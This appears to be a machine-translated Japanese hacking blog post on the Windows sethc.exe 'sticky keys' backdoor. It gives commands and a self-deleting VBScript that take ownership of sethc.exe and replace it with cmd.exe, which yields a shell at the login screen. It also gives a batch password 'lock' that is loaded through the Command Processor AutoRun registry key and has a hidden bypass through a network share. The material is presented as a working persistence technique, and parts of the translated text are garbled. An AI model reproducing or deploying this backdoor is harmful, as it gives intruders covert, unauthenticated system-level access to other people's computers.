変態侵入の歴史があって以来、最もクールなWindowsバックドアsethc.exe
裏門の原理: windowsで 2000/xp/vistaの下で、shiftキーを5回押して、粘着を開けて、sethc.exeを実行します。そして、登録画面でも開けます。これはWINDOWSのスクリーンセーバーを連想させて、プログラムをcmd.exeに変えたら、shellを開けられます。 XP: インストール元のディスクをイジェクトする(またはハードディスク上のインストールディレクトリを改名する) cd %widnir%\system 32\dll cache ren sethc.exe *.ex~ cd %widnir%\system 32 copy /y cmd.exe sethc.exe VISTA: Taeown /f c:\windows\system 32\sethc.exe cacls c:\windows\system 32\sethc.exe /G administrator:F XPメソッドでファイルを置換します。 ログイン画面でこのSHIFTを5つ押して、cmdが出てきます。 shell、そして… バックドアの拡張:
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)
success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)
success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)
success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
第二句が一番面白いです。自動応答…以前から似たような問題がありました。 また更新します。自動削除を加えて、コードを簡略化します。
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
後のドアロックの拡張: allyesno注:cmdを採用できます。 錠をかける cmdshellのパスワード検証を行います。 下のドアロックを使う方法は? コードをbdlock.batとして保存します。 そしてレジストリの位置を変更すればいいです。
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="bdlock.bat"
@Echo Off
title
color a
cls
set temprandom=%RANDOM%
echo :%temprandom%
set/p check=
if "%check%"=="%temprandom%%temprandom%" goto passcheck
if "%check%"=="%temprandom%" (
rem
rem rem
if exist \192.168.8.8\backdoor$\pass goto passcheck
)
echo
pause
exit
:passcheck
echo
If "%passcmdlock%"=="http://blog.csdn.net/freexploit/" Goto endx
Set passcmdlock=http://blog.csdn.net/freexploit/
:allyesno
Set Errorlevel=>nul
Echo ?
Set password=allyesno Is a pig>nul
Set/p password=
rem
if "%password%"=="allyesno is a sb" goto endx
If %time:~1,1%==0 Set timechange=a
If %time:~1,1%==1 Set timechange=b
If %time:~1,1%==2 Set timechange=c
If %time:~1,1%==3 Set timechange=d
If %time:~1,1%==4 Set timechange=e
If %time:~1,1%==5 Set timechange=f
If %time:~1,1%==6 Set timechange=g
If %time:~1,1%==7 Set timechange=h
If %time:~1,1%==8 Set timechange=i
If %time:~1,1%==9 Set timechange=j
set/a sum=%time:~1,1%+%time:~1,1%
Set password|findstr "^password=%timechange%%time:~1,1%%date:~8,2%%sum%$">nul
If "%errorlevel%"=="0" cls&Echo &Goto End
Echo !&Goto allyesno
:End
Set password=>nul
Set Errorlevel=>nul
Echo
:endx